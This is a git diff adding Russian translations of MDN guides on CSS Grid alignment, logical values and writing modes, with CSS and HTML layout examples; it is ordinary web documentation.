+  align-self: end;
+}
+.item4 {
+  grid-area: d;
+  align-self: center;
+}
+
+ +
<div class="wrapper">
+  <div class="item1">Item 1</div>
+  <div class="item2">Item 2</div>
+  <div class="item3">Item 3</div>
+  <div class="item4">Item 4</div>
+</div>
+
+ +

{{ EmbedLiveSample('alignment_2', '500', '450') }}

+
+ +

Элементы с внутренним соотношением сторон

+ +

Спецификация указывает, что поведение по умолчанию в {{cssxref ("align-self")}} должно растягиваться, за исключением элементов, которые имеют внутреннее соотношение сторон, в этом случае они ведут себя как start. Причиной этого является то, что если элементы с соотношением сторон настроены на растяжение, это значение по умолчанию будет искажать их.

+ +

Это поведение было уточнено в спецификации, при этом браузеры еще не реализовали правильное поведение. Пока это не произойдет, вы можете убедиться, что элементы не растягиваются, например изображения, которые являются прямыми дочерними элементами сетки, путем установки {{cssxref ("align-self")}} и {{cssxref ("justify-self") }} start. Это будет имитировать правильное поведение после его реализации.

+ +

Justifying Items on the Inline or Row Axis

+ +

Поскольку {{cssxref ("align-items")}} и {{cssxref ("align-self")}} обрабатывают выравнивание элементов на оси блока, {{cssxref ("justify-items")}} и {{cssxref ("justify-self")}} выполнить ту же работу на оси inline или row. Значения, которые вы можете выбрать, такие же, как для align-self.

+ +
    +
  • auto
    • +
  • normal
    • +
  • start
    • +
  • end
    • +
  • center
    • +
  • stretch
    • +
  • baseline
    • +
  • first baseline
    • +
  • last baseline
    • +
+ +

Вы можете увидеть тот же пример, что и для {{cssxref ("align-items")}} ниже. На этот раз мы применяем свойство {{cssxref ("justify-self")}}.

+ +

Опять же, значение по умолчанию stretch, за исключением элементов с внутренним соотношением сторон. Это означает, что по умолчанию элементы сетки будут покрывать их площадь сетки, если вы не измените ее, установив выравнивание. Первый элемент в примере демонстрирует это выравнивание по умолчанию:

+ +
+ + +
.wrapper {
+  display: grid;
+  grid-template-columns: repeat(8, 1fr);
+  grid-gap: 10px;
+  grid-auto-rows: 100px;
+  grid-template-areas:
+    "a a a a b b b b"
+    "a a a a b b b b"
+    "c c c c d d d d"
+    "c c c c d d d d";
+}
+.item1 {
+  grid-area: a;
+}
+.item2 {
+  grid-area: b;
+  justify-self: start;
+}
+.item3 {
+  grid-area: c;
+  justify-self: end;
+}
+.item4 {
+  grid-area: d;
+  justify-self: center;
+}
+
+ +
<div class="wrapper">
+  <div class="item1">Item 1</div>
+  <div class="item2">Item 2</div>
+  <div class="item3">Item 3</div>
+  <div class="item4">Item 4</div>
+</div>
+
+ +

{{ EmbedLiveSample('alignment_3', '500', '450') }}

+
+ +

Как и {{cssxref ("align-self")}} и {{cssxref ("align-items")}}, вы можете применить {{cssxref ("justify-items")}} к контейнеру сетки, чтобы установить значение {{cssxref ("justify-self")}} для всех элементов.

+ +

Свойства {{cssxref ("justify-self")}} и {{cssxref ("justify-items")}} не реализованы в flexbox. Это связано с одномерным характером flexbox и может быть несколько элементов вдоль оси, что делает невозможным оправдание одного элемента. Чтобы выровнять элементы вдоль основной, встроенной оси в flexbox, вы используете свойство {{cssxref ("justify-content")}}.

+ +

Center an item in the area

+ +

Объединив свойства align и justify, мы можем легко центрировать элемент внутри области сетки.

+ +
+ + +
.wrapper {
+  display: grid;
+  grid-template-columns: repeat(4, 1fr);
+  grid-gap: 10px;
+  grid-auto-rows: 200px;
+  grid-template-areas:
+    ". a a ."
+    ". a a .";
+}
+.item1 {
+  grid-area: a;
+  align-self: center;
+  justify-self: center;
+}
+
+ +
<div class="wrapper">
+ <div class="item1">Item 1</div>
+</div>
+
+ +

{{ EmbedLiveSample('alignment_4', '500', '480') }}

+
+ +

Aligning the grid tracks on the block, or column, axis

+ +

Если у вас есть ситуация, когда ваши дорожки сетки используют область, которая меньше, чем контейнер сетки, вы можете выровнять трассы сетки самостоятельно внутри контейнера. И снова это работает на блочной и встроенной осях с {{cssxref ("align-content")}} выравниванием дорожек на оси блока и {{cssxref ("justify-content")}}, выполняющим выравнивание по встроенной оси. Значения для {{cssxref ("align-content")}} и {{cssxref ("justify-content")}}:

+ +
    +
  • normal
    • +
  • start
    • +
  • end
    • +
  • center
    • +
  • stretch
    • +
  • space-around
    • +
  • space-between
    • +
  • space-evenly
    • +
  • baseline
    • +
  • first baseline
    • +
  • last baseline
    • +
+ +

В приведенном ниже примере у меня есть контейнер сетки размером 500 пикселей на 500 пикселей. Я определил 3 строки и столбцы, каждый из 100 пикселей с 10-пиксельным желобом. Это означает, что внутри контейнера сетки есть пространство как в блочном, так и в линейном направлениях.

+ +

Свойство align-content применяется к контейнеру сетки, поскольку оно работает на всей сетке. Поведение по умолчанию в макете сетки start, поэтому наши дорожки сетки находятся в верхнем левом углу сетки, выровнены по отношению к стартовым линиям сетки:

+ +
+ + +
.wrapper {
+  display: grid;
+  grid-template-columns: repeat(3, 100px);
+  grid-template-rows: repeat(3,100px);
+  height: 500px;
+  width: 500px;
+  grid-gap: 10px;
+  grid-template-areas:
+    "a a b"
+    "a a b"
+    "c d d";
+}
+.item1 {
+  grid-area: a;
+}
+.item2 {
+  grid-area: b;
+}
+.item3 {
+  grid-area: c;
+}
+.item4 {
+  grid-area: d;
+}
+
+ +
<div class="wrapper">
+  <div class="item1">Item 1</div>
+  <div class="item2">Item 2</div>
+  <div class="item3">Item 3</div>
+  <div class="item4">Item 4</div>
+</div>
+
+ +

{{ EmbedLiveSample('alignment_5', '500', '520') }}

+ +

Если я добавлю align-conten в мой контейнер со значением end, все треки перейдут в конечную строку контейнера сетки в размерности блока:

+
+ +
+ + +
.wrapper {
+  display: grid;
+  grid-template-columns: repeat(3, 100px);
+  grid-template-rows: repeat(3,100px);
+  height: 500px;
+  width: 500px;
+  grid-gap: 10px;
+  grid-template-areas:
+    "a a b"
+    "a a b"
+    "c d d";
+  align-content: end;
+}
+.item1 {
+  grid-area: a;
+}
+.item2 {
+  grid-area: b;
+}
+.item3 {
+  grid-area: c;
+}
+.item4 {
+  grid-area: d;
+}
+
+ +
<div class="wrapper">
+  <div class="item1">Item 1</div>
+  <div class="item2">Item 2</div>
+  <div class="item3">Item 3</div>
+  <div class="item4">Item 4</div>
+</div>
+
+ +

{{ EmbedLiveSample('alignment_6', '500', '520') }}

+
+ +

Мы также можем использовать значения для этого свойства, которые могут быть знакомы с flexbox; значения пространственного распределения space-between, space-around и space-evenly. Если мы обновим {{cssxref ("align-content")}} до space-between, вы увидите как выглядят элементы на нашем пространстве grid:

+ +
+ + +
.wrapper {
+  display: grid;
+  grid-template-columns: repeat(3, 100px);
+  grid-template-rows: repeat(3,100px);
+  height: 500px;
+  width: 500px;
+  grid-gap: 10px;
+  grid-template-areas:
+    "a a b"
+    "a a b"
+    "c d d";
+  align-content: space-between;
+}
+.item1 {
+  grid-area: a;
+}
+.item2 {
+  grid-area: b;
+}
+.item3 {
+  grid-area: c;
+}
+.item4 {
+  grid-area: d;
+}
+
+ +
<div class="wrapper">
+  <div class="item1">Item 1</div>
+  <div class="item2">Item 2</div>
+  <div class="item3">Item 3</div>
+  <div class="item4">Item 4</div>
+</div>
+
+ +

{{ EmbedLiveSample('alignment_7', '500', '520') }}

+
+ +

Стоит отметить, что использование этих значений пространственного распределения может привести к увеличению элементов в вашей сетке. Если элемент охватывает более одной дорожки сетки, так как дополнительное пространство добавляется между дорожками, этот предмет должен стать большим, чтобы поглотить пространство. Мы всегда работаем в строгой сетке. Поэтому, если вы решите использовать эти значения, убедитесь, что содержимое ваших треков может справиться с дополнительным пространством или что вы использовали свойства выравнивания для элементов, чтобы заставить их перемещаться в начало, а не растягиваться.

+ +

В приведенном ниже изображении я поместил сетку с align-content, со значением start рядом с сеткой, когда значение align-content имеет значение space-between. Вы можете видеть, как элементы 1 и 2, которые охватывают два ряда дорожек, взяты на дополнительной высоте, поскольку они получают дополнительное пространство, добавленное к промежутку между этими двумя дорожками:

+ +

Demonstrating how items become larger if we use space-between.

+ +

Justifying the grid tracks on the row axis

+ +

На оси inline мы можем использовать {{cssxref ("justify-content")}} для выполнения того же типа выравнивания, что мы использовали {{cssxref ("align-content")}} для оси блока.

+ +

Используя тот же пример, я устанавливаю {{cssxref ("justify-content")}} space-around. Это снова вызывает дорожки, которые охватывают более одного столбца, чтобы получить дополнительное пространство:

+ +
+ + +
.wrapper {
+  display: grid;
+  grid-template-columns: repeat(3, 100px);
+  grid-template-rows: repeat(3,100px);
+  height: 500px;
+  width: 500px;
+  grid-gap: 10px;
+  grid-template-areas:
+    "a a b"
+    "a a b"
+    "c d d";
+  align-content: space-between;
+  justify-content: space-around;
+}
+.item1 {
+  grid-area: a;
+}
+.item2 {
+  grid-area: b;
+}
+.item3 {
+  grid-area: c;
+}
+.item4 {
+  grid-area: d;
+}
+
+ +
<div class="wrapper">
+  <div class="item1">Item 1</div>
+  <div class="item2">Item 2</div>
+  <div class="item3">Item 3</div>
+  <div class="item4">Item 4</div>
+</div>
+
+ +

{{ EmbedLiveSample('alignment_8', '500', '500') }}

+
+ +

Alignment and auto margins

+ +

Другой способ выравнивания элементов внутри их области - использовать автоматические поля. Если вы когда-либо центрировали ваш макет в окне просмотра, установив правое и левое поле блока контейнера в auto, вы знаете, что автоматическая маржа поглощает все доступное пространство. Установив маржу в auto с обеих сторон, она выдвигает блок в середину, так как оба поля пытаются взять все пространство.

+ +

В следующем примере я дал элементу 1 левое поле auto. Вы можете увидеть, как содержимое теперь переместится в правую часть области, поскольку автоматическая маржа занимает оставшееся пространство после того, как было назначено место для содержимого этого элемента:

+ +
+ + +
.wrapper {
+  display: grid;
+  grid-template-columns: repeat(3, 100px);
+  grid-template-rows: repeat(3,100px);
+  height: 500px;
+  width: 500px;
+  grid-gap: 10px;
+  grid-template-areas:
+    "a a b"
+    "a a b"
+    "c d d";
+}
+.item1 {
+  grid-area: a;
+  margin-left: auto;
+}
+.item2 {
+  grid-area: b;
+}
+.item3 {
+  grid-area: c;
+}
+.item4 {
+  grid-area: d;
+}
+
+ +
<div class="wrapper">
+  <div class="item1">Item 1</div>
+  <div class="item2">Item 2</div>
+  <div class="item3">Item 3</div>
+  <div class="item4">Item 4</div>
+</div>
+
+ +

{{ EmbedLiveSample('alignment_9', '500', '500') }}

+
+ +

Вы можете видеть, как элемент выравнивается с помощью Firefox Grid Highlighter:

+ +

Image showing auto-margins using the Grid Highlighter.

+ +

Alignment and Writing Modes

+ +

Во всех этих примерах я работал на английском языке, который является языком слева направо. Это означает, что наши стартовые линии находятся сверху и слева от нашей сетки, когда мы думаем в физических направлениях.

+ +

CSS Grid Layout и спецификация Box Alignment предназначены для работы с режимами записи в CSS. Это означает, что если вы работаете с языком справо налево, например на арабском языке, начало сетки будет верхним и правым, поэтому значение по умолчанию для justify-content: start будет состоять в том, что треки сетки начинаются с правой стороны сетки.

+ +

Однако, если вы устанавливаете автоматические поля, используя margin-right или margin-left, или абсолютно позиционирующий элемент, используя top, right, bottom and left смещения, вы не будете соблюдать режимы записи. В следующем руководстве мы рассмотрим это взаимодействие между компоновкой сетки CSS, выравниванием ящиков и режимами записи. Это будет важно понимать, если вы разрабатываете сайты, которые затем отображаются на нескольких языках, или если вы хотите смешивать языки или режимы записи в дизайне.

+ + diff --git a/files/ru/web/css/css_grid_layout/css_grid,_logical_values_and_writing_modes/index.html b/files/ru/web/css/css_grid_layout/css_grid,_logical_values_and_writing_modes/index.html new file mode 100644 index 0000000000..48eec35abe --- /dev/null +++ b/files/ru/web/css/css_grid_layout/css_grid,_logical_values_and_writing_modes/index.html @@ -0,0 +1,498 @@ +--- +title: 'CSS grids, logical values and writing modes' +slug: 'Web/CSS/CSS_Grid_Layout/CSS_Grid,_Logical_Values_and_Writing_Modes' +translation_of: 'Web/CSS/CSS_Grid_Layout/CSS_Grid,_Logical_Values_and_Writing_Modes' +--- +

В этих руководствах я уже затронул важную особенность grid layout: поддержка различных режимов записи, встроенных в спецификацию. В этом руководстве мы рассмотрим эту особенность grid и других современных методов компоновки, немного узнав о режимах записи и логических и физических свойствах, когда мы это делаем.

+ +

Логические и физические свойства и ценности

+ +

CSS полон физических слов позиционирования - слева и справа, сверху и снизу. Если мы позиционируем элемент с использованием абсолютного позиционирования, мы используем эти физические ключевые слова в качестве значений смещения, чтобы обжимать элемент вокруг. В нижеприведенном фрагменте кода элемент помещается в 20 пикселей сверху и 30 пикселей слева от контейнера:

+ +
.container {
+  position: relative;
+}
+.item {
+  position: absolute;
+  top: 20px;
+  left: 30px;
+}
+
+ +
<div class="container">
+  <div class="item">Item</div>
+</div>
+
+ +

Еще одно место, где вы можете увидеть используемые физические ключевые слова, - это использовать text-align: right выравнивать текст вправо. В CSS есть также физические свойства. Мы добавляем поля, дополнения и границы, используя эти физические свойства {{cssxref ("margin-left")}}, {{cssxref ("padding-left")}} и т. д.

+ +

Мы называем эти ключевые слова и свойства физическими, потому что они относятся к экрану, на который вы смотрите. Слева всегда слева, независимо от того, в каком направлении работает ваш текст.

+ +

Это может стать проблемой при разработке сайта, который должен работать на нескольких языках, включая языки с текстом, начинающимся справа, а не слева. Браузеры хорошо справляются с направлением текста и вам даже не нужно работать на языке {{glossary ("rtl")}}, чтобы посмотреть. В приведенном ниже примере у меня есть два абзаца. У одного не установлено {{cssxref ("text-align")}}, второе имеет выравнивание текста (text-align) влево. Я добавил dir = "rtl" в элемент html, который переключает режим записи по умолчанию для документа на английском языке ltr. Вы можете видеть, что первый абзац остается слева направо, из-за оставленного значения выравнивания текста. Второе, однако, переключает направление и текст пробегает справа налево.

+ +

A simple example of text direction.

+ +

Это очень простой пример проблемы с физическими значениями и свойствами, которые используются в CSS. Они не позволяют браузеру выполнять работу по переключению режима записи, поскольку они делают предположение, что текст течет слева направо и сверху вниз.

+ +

Логические свойства и значения

+ +

Логические свойства и значения не делают предположения о направлении текста. Именно поэтому в Grid Layout мы используем ключевое слово start при выравнивании чего-либо с началом контейнера. Для меня, работая на английском языке, start может быть слева, но это не обязательно и слово start не имеет физического местоположения.

+ +

Block и Inline

+ +

Как только мы начнем заниматься логическими, а не физическими свойствами, мы перестаем видеть мир как слева направо, так и сверху вниз. Нам нужна новая контрольная точка и именно здесь понимание использования блока и встроенных осей, которые мы встретили ранее в руководстве по выравниванию, становится очень полезным. Если вы можете начать видеть макет с точки зрения блочного и встроенного, то, как все работает в сетке, становится намного больше смысла.

+ +

An image showing the default direction of the Block and Inline Axes.

+ +

Режимы записи CSS

+ +

Я собираюсь представить здесь еще одну спецификацию, которую я буду использовать в своих примерах: спецификация CSS Writing Modes. Эта спецификация подробно описывает, как мы можем использовать эти разные режимы записи в CSS, а не только для поддержки языков, которые имеют другой режим записи на английском языке, но также и для творческих целей. Я буду использовать свойство {{cssxref ("write-mode")}}, чтобы внести изменения в режим записи, применяемый к нашей сетке, чтобы продемонстрировать, как работают логические значения. Однако, если вы хотите, чтобы вы меняли в режиме записи, я бы рекомендовал вам прочитать Jen Simmons отличную статью о CSS Writing Modes. Это более подробно описано в этой спецификации, чем мы коснемся здесь.

+ +

writing-mode

+ +

Режимы записи - это больше, чем текст слева направо и справа налево, а свойство writing-mode помогает отображать текст в других направлениях. Свойство {{cssxref ("write-mode")}} может иметь значения:

+ +
    +
  • horizontal-tb
    • +
  • vertical-rl
    • +
  • vertical-lr
    • +
  • sideways-rl
    • +
  • sideways-lr
    • +
+ +

Значение horizontal-tb является значением по умолчанию для текста в Интернете. Это направление, в котором вы читаете это руководство. Другие свойства изменят способ передачи текста в нашем документе, соответствующий различным режимам записи, найденным по всему миру. Опять же, для получения полной информации об этом см. Jen’s article. В качестве простого примера у меня есть два параграфа ниже. Первый использует по умолчанию horizontal-tb, а второй использует vertical-rl. В тексте режима все еще выполняется влево-вправо, однако направление текста вертикально - встроенный текст теперь проходит вниз по странице, сверху вниз.

+ +
+ + +
<div class="wrapper">
+   <p style="writing-mode: horizontal-tb">I have writing mode set to the default <code>horizontal-tb</code></p>
+  <p style="writing-mode: vertical-rl">I have writing mode set to <code>vertical-rl</code></p>
+</div>
+
+ +

{{ EmbedLiveSample('writing_1', '500', '420') }}

+
+ +

Writing modes в grid layouts

+ +

Если мы сейчас рассмотрим пример компоновки сетки, мы увидим, как изменение режима записи означает изменение нашей идеи о том, где находятся Block и Inline Axis.

+ +

В моем следующем примере сетка имеет три столбца и две строки. Это означает, что на оси блока есть три дорожки. В режиме записи по умолчанию сетка автоматически помещает элементы, начинающиеся в верхнем левом углу, перемещаясь вправо, заполняя три ячейки на встроенной оси. Затем он переходит на следующую строку, создавая новый дорожку Row и заполняя больше элементов:

+ +
+ + +
.wrapper {
+  display: grid;
+  grid-template-columns: repeat(3, 100px);
+  grid-template-rows: repeat(2, 100px);
+  grid-gap: 10px;
+}
+
+ +
<div class="wrapper">
+  <div class="item1">Item 1</div>
+  <div class="item2">Item 2</div>
+  <div class="item3">Item 3</div>
+  <div class="item4">Item 4</div>
+  <div class="item5">Item 5</div>
+</div>
+
+ +

{{ EmbedLiveSample('writing_2', '500', '330') }}

+
+ +

Если мы добавим writing-mode: vertical-lr в контейнер сетки, мы увидим, что блок и встроенная ось теперь работают в другом направлении. Ось блока или столбца теперь проходит через страницу слева направо, Inline запускается вниз по странице, создавая строки сверху вниз.

+ +
+ + +
.wrapper {
+  writing-mode: vertical-lr;
+  display: grid;
+  grid-template-columns: repeat(3, 100px);
+  grid-template-rows: repeat(2, 100px);
+  grid-gap: 10px;
+}
+
+ +
<div class="wrapper">
+  <div class="item1">Item 1</div>
+  <div class="item2">Item 2</div>
+  <div class="item3">Item 3</div>
+  <div class="item4">Item 4</div>
+  <div class="item5">Item 5</div>
+</div>
+
+ +

{{ EmbedLiveSample('writing_3', '500', '330') }}

+
+ +

A image showing the direction of Block and Inline when writing-mode is vertical-lr

+ +

Логические значения для выравнивания

+ +

Когда блок и встроенная ось могут изменять направление, логические значения свойств выравнивания начинают иметь больше смысла.

+ +

В следующем примере я использую выравнивание для выравнивания элементов внутри сетки, которая настроена на writing-mode: vertical-lr. start и end свойства работают точно так же, как в режиме записи по умолчанию, и остаются логичными в том смысле, что использование левого и правого, верхнего и нижнего уровней для выравнивания элементов не будет выполнено. Это происходит, когда мы перевернули сетку сбоку, например:

+ +
+ + +
.wrapper {
+  writing-mode: vertical-lr;
+  display: grid;
+  grid-template-columns: repeat(3, 1fr);
+  grid-template-rows: repeat(3, 100px);
+  grid-gap: 10px;
+}
+
+.item1 {
+    grid-column: 1 / 4;
+    align-self: start;
+}
+
+.item2 {
+    grid-column: 1 / 3;
+    grid-row: 2 / 4;
+    align-self: start;
+}
+
+.item3 {
+    grid-column: 3;
+    grid-row: 2 / 4;
+    align-self: end;
+    justify-self: end;
+}
+
+ +
<div class="wrapper">
+  <div class="item1">Item 1</div>
+  <div class="item2">Item 2</div>
+  <div class="item3">Item 3</div>
+</div>
+
+ +

{{ EmbedLiveSample('writing_4', '500', '330') }}

+
+ +

Если вы хотите посмотреть, как они работают, как справа, так и сверху вниз, переключите vertical-lr на vertical-rl, который является вертикальным режимом записи, работающим справа налево.

+ +

Auto-placement and Writing Modes

+ +

В примере, который уже показан, вы можете видеть, как режим записи меняет направление, в котором элементы помещаются в сетку. Элементы по умолчанию помещают себя вдоль оси Inline, а затем переходят в новую строку. Однако эта линейная ось может не всегда выполняться слева направо.

+ +

Линейное размещение и режимы записи

+ +

Главное, что следует помнить при размещении элементов по номеру строки, является то, что строка 1 является стартовой линией, независимо от того, в каком режиме записи вы находитесь. Строка -1 - это конечная строка, независимо от того, в каком режиме записи вы находитесь.

+ +

В следующем примере у меня есть сетка, которая находится в направлении по умолчанию ltr. Я разместил три элемента, используя линейное размещение.

+ +
    +
  • Item 1 starts at column line 1, охватывающей один трек.
    • +
  • Item 2 starts at column line -1, охватывая -3.
    • +
  • Item 3 starts at column line 1, охватывая строку столбца 3.
    • +
+ +
+ + +
.wrapper {
+  display: grid;
+  grid-template-columns: repeat(3, 1fr);
+  grid-template-rows: repeat(2, 100px);
+  grid-gap: 10px;
+}
+.item1 {
+    grid-column: 1 ;
+}
+.item2 {
+    grid-column: -1 / -3;
+}
+.item3 {
+    grid-column: 1 / 3;
+    grid-row: 2;
+}
+
+ +
<div class="wrapper">
+        <div class="item1">Item 1</div>
+        <div class="item2">Item 2</div>
+        <div class="item3">Item 3</div>
+    </div>
+
+ +

{{ EmbedLiveSample('writing_5', '500', '330') }}

+
+ +

Если теперь добавить свойство {{cssxref ("direction")}} со значением rtl в контейнер сетки, строка 1 станет правой частью сетки, а строка -1 - слева.

+ +
+ + +
.wrapper {
+  direction: rtl;
+  display: grid;
+  grid-template-columns: repeat(3, 1fr);
+  grid-template-rows: repeat(2, 100px);
+  grid-gap: 10px;
+}
+.item1 {
+    grid-column: 1 ;
+}
+.item2 {
+    grid-column: -1 / -3;
+}
+.item3 {
+    grid-column: 1 / 3;
+    grid-row: 2;
+}
+
+ +
<div class="wrapper">
+        <div class="item1">Item 1</div>
+        <div class="item2">Item 2</div>
+        <div class="item3">Item 3</div>
+    </div>
+
+ +

{{ EmbedLiveSample('writing_6', '500', '330') }}

+
+ +

То, что это демонстрирует, заключается в том, что если вы переключаете направление текста на целые страницы или на части страниц и используете строки: вы можете назвать свои строки, если вы не хотите, чтобы макет полностью переключал направление , для некоторых вещей, например, когда сетка содержит текстовое содержимое, это переключение может быть именно тем, что вы хотите. Для других целей это не так.

+ +

Странный порядок значений в свойстве grid-area

+ +

Вы можете использовать свойство {{cssxref ("grid-area")}}, чтобы указать все четыре строки области сетки как одно значение. Когда люди впервые сталкиваются с этим, они часто удивляются тому, что значения не следуют тому же порядку, что и сокращенное поле, которое работает по часовой стрелке: сверху, справа, внизу, слева.

+ +

Порядок значений grid-area:

+ +
    +
  • grid-row-start
    • +
  • grid-column-start
    • +
  • grid-row-end
    • +
  • grid-column-end
    • +
+ +

Что для английского языка, слева направо означает, что заказ:

+ +
    +
  • top
    • +
  • left
    • +
  • bottom
    • +
  • right
    • +
+ +

Это против часовой стрелки! Итак, обратное тому, что мы делаем для полей и заполнения. Как только вы поймете, что grid-area видит мир как "block и inline", вы можете помнить, что мы устанавливаем два запуска, а затем два конца. Когда вы знаете, это становится намного логичнее!

+ +

Смешанные режимы записи и макет сетки

+ +

В дополнение к отображению документов, используя правильный режим записи для языка, режимы записи могут быть использованы творчески в документах, которые в противном случае будут ltr. В следующем примере у меня есть макет сетки с набором ссылок вниз с одной стороны. Я использовал режимы записи, чтобы включить их на стороне в треке столбца:

+ +
+
.wrapper {
+    display: grid;
+    grid-gap: 20px;
+    grid-template-columns: 1fr auto;
+    font: 1em Helvetica, Arial, sans-serif;
+}
+.wrapper nav {
+    writing-mode: vertical-lr;
+}
+.wrapper ul {
+    list-style: none;
+    margin: 0;
+    padding: 1em;
+    display: flex;
+    justify-content: space-between;
+}
+.wrapper a {
+    text-decoration: none;
+}
+
+ +
<div class="wrapper">
+        <div class="content">
+            <p>Turnip greens yarrow ricebean rutabaga endive cauliflower sea lettuce kohlrabi amaranth water spinach avocado daikon napa cabbage asparagus winter purslane kale. Celery potato scallion desert raisin horseradish spinach carrot soko. Lotus root water spinach fennel kombu maize bamboo shoot green bean swiss chard seakale pumpkin onion chickpea gram corn pea. Brussels sprout coriander water chestnut gourd swiss chard wakame kohlrabi beetroot carrot watercress. Corn amaranth salsify bunya nuts nori azuki bean chickweed potato bell pepper artichoke.</p>
+
+<p>Nori grape silver beet broccoli kombu beet greens fava bean potato quandong celery. Bunya nuts black-eyed pea prairie turnip leek lentil turnip greens parsnip. Sea lettuce lettuce water chestnut eggplant winter purslane fennel azuki bean earthnut pea sierra leone bologi leek soko chicory celtuce parsley jícama salsify.</p>
+        </div>
+        <nav>
+            <ul>
+                <li><a href="">Link 1</a></li>
+                <li><a href="">Link 2</a></li>
+                <li><a href="">Link 3</a></li>
+            </ul>
+        </nav>
+    </div>
+
+ +

{{ EmbedLiveSample('writing_7', '500', '330') }}

+
+ +

Физические значения и grid layout

+ +

Мы часто сталкиваемся с физическими свойствами при создании веб-сайтов и в то время как свойства и значения размещения и выравнивания сетки соответствуют режимам записи, есть вещи, которые вы можете сделать с Grid, которые заставляют вас использовать физические свойства и значения. В руководстве по выравниванию ячеек и сеткам я продемонстрировал, как автоматические поля работают в области сетки. Использование автоматической маржи, чтобы оттолкнуть один элемент от других, является общим трюком flexbox, однако это также связывает макет с физическим пространством.

+ +

Если вы используете абсолютное позиционирование в области сетки, то вы снова будете использовать физические смещения, чтобы нажимать элемент вокруг области сетки. Главное, что нужно знать, - это напряжение между физическими и логическими свойствами и ценностями. Например, имейте в виду, что вам может потребоваться внести изменения в ваш CSS, чтобы справиться с переходом от ltr до rtl.

+ +

Логические свойства для всего!

+ +

Наши новые методы компоновки дают нам возможность использовать эти логические значения для размещения элементов, однако, как только мы начнем объединять их с физическими свойствами, используемыми для полей и отступов, нам нужно помнить, что эти физические свойства не изменятся в соответствии с режимом записи.

+ +

Спецификация логических свойств CSS имеет целью изменить это и в будущем мы сможем использовать логические эквиваленты для свойств, такие как {{cssxref ("margin-left")}} и {{cssxref ("margin-right") }}, в нашем CSS. Firefox уже реализовал их, поэтому вы можете попробовать их прямо сейчас в Firefox. Я знаю в будущем, как только эти корабли повсюду, ваши знания «Блокировать и встроить» с помощью Grid означают, что вы точно знаете, как их использовать.

+ + diff --git a/files/ru/web/css/css_grid_layout/index.html b/files/ru/web/css/css_grid_layout/index.html new file mode 100644 index 0000000000..d02227c33f --- /dev/null +++ b/files/ru/web/css/css_grid_layout/index.html @@ -0,0 +1,234 @@ +--- +title: CSS Grid Layout +slug: Web/CSS/CSS_Grid_Layout +translation_of: Web/CSS/CSS_Grid_Layout +--- +

CSS Grid layout отлично подходит для того, чтобы разделить страницу на основные области или определить взаимосвязь размера, позиционирования и уровня между частями контента, состоящего из HTML примитивов.

+ +

Как и таблицы (<table>), grid layout позволяет выравнивать элементы в столбцы и строки. Тем не менее, с помощью CSS grid работать с элементами гораздо проще, чем с таблицами. Например, дочерние элементы grid-контейнера могут наслаиваться друг на друга как  и другие элементы при помощи CSS.

+ +

Базовый пример

+ +

В приведенном ниже примере показана сетка  состоящая из трех колонок, в которой минимальная ширина элементов строки установлена в "100px", а максимальная в "auto". Grid-элементы располагаются в сетке линейно.

+ +
+ + +

HTML

+ +
<div class="wrapper">
+  <div class="one">One</div>
+  <div class="two">Two</div>
+  <div class="three">Three</div>
+  <div class="four">Four</div>
+  <div class="five">Five</div>
+  <div class="six">Six</div>
+</div>
+ +

CSS

+ +
.wrapper {
+  display: grid;
+  grid-template-columns: repeat(3, 1fr);
+  grid-gap: 10px;
+  grid-auto-rows: minmax(100px, auto);
+}
+.one {
+  grid-column: 1 / 3;
+  grid-row: 1;
+}
+.two {
+  grid-column: 2 / 4;
+  grid-row: 1 / 3;
+}
+.three {
+  grid-column: 1;
+  grid-row: 2 / 5;
+}
+.four {
+  grid-column: 3;
+  grid-row: 3;
+}
+.five {
+  grid-column: 2;
+  grid-row: 4;
+}
+.six {
+  grid-column: 3;
+  grid-row: 4;
+}
+
+ +

{{ EmbedLiveSample('example', '500', '440') }}

+
+ +

Ссылки

+ +

CSS свойства

+ +
+
    +
  • {{cssxref("grid-template-columns")}}
    • +
  • {{cssxref("grid-template-rows")}}
    • +
  • {{cssxref("grid-template-areas")}}
    • +
  • {{cssxref("grid-template")}}
    • +
  • {{cssxref("grid-auto-columns")}}
    • +
  • {{cssxref("grid-auto-rows")}}
    • +
  • {{cssxref("grid-auto-flow")}}
    • +
  • {{cssxref("grid")}}
    • +
  • {{cssxref("grid-row-start")}}
    • +
  • {{cssxref("grid-column-start")}}
    • +
  • {{cssxref("grid-row-end")}}
    • +
  • {{cssxref("grid-column-end")}}
    • +
  • {{cssxref("grid-row")}}
    • +
  • {{cssxref("grid-column")}}
    • +
  • {{cssxref("grid-area")}}
    • +
  • {{cssxref("grid-row-gap")}}
    • +
  • {{cssxref("grid-column-gap")}}
    • +
  • {{cssxref("grid-gap")}}
    • +
+
+ +

CSS функции

+ +
+
    +
  • {{cssxref("repeat", "repeat()")}}
    • +
  • {{cssxref("minmax", "minmax()")}}
    • +
  • {{cssxref("fit-content", "fit-content()")}}
    • +
+
+ +

Глоссарий

+ +
+ +
+ +

Руководства

+ +
+ +
+ +

Внешние ресурсы

+ + + +

Спецификации

+ + + + + + + + + + + + + + + + +
СпецификацияСтатусКомментарий
{{ SpecName('CSS3 Grid') }}{{ Spec2('CSS3 Grid') }}Initial definition.
+ + diff --git a/files/ru/web/css/css_grid_layout/layout_using_named_grid_lines/index.html b/files/ru/web/css/css_grid_layout/layout_using_named_grid_lines/index.html new file mode 100644 index 0000000000..e20cbc76c8 --- /dev/null +++ b/files/ru/web/css/css_grid_layout/layout_using_named_grid_lines/index.html @@ -0,0 +1,493 @@ +--- +title: Layout using named grid lines +slug: Web/CSS/CSS_Grid_Layout/Layout_using_Named_Grid_Lines +translation_of: Web/CSS/CSS_Grid_Layout/Layout_using_Named_Grid_Lines +--- +

В предыдущих руководствах мы рассматривали размещение элементов по линиям, созданным путем определения треков сетки, а также способы размещения элементов с помощью именованных областей шаблона. В этом руководстве мы рассмотрим, как эти две вещи работают вместе, когда мы используем именование линий. Именование линий очень полезно, но  при комбинировании именований и размеров сетки иногда получаются очень запутанный синтаксис. Представленные примеры помогут внести ясность и упростить понимание синтаксиса.

+ +

Именование линий при определении сетки

+ +

Когда вы определяете свою сетку с помощью свойств grid-template-rows и grid-template-columns, вы можете присвоить имя некоторым или всем линиям в вашей сетке. Для демонстрации я использую простой макет, созданный в руководстве по линейному размещению. На этот раз я создам сетку, используя именованные линии.

+ +
+ + +

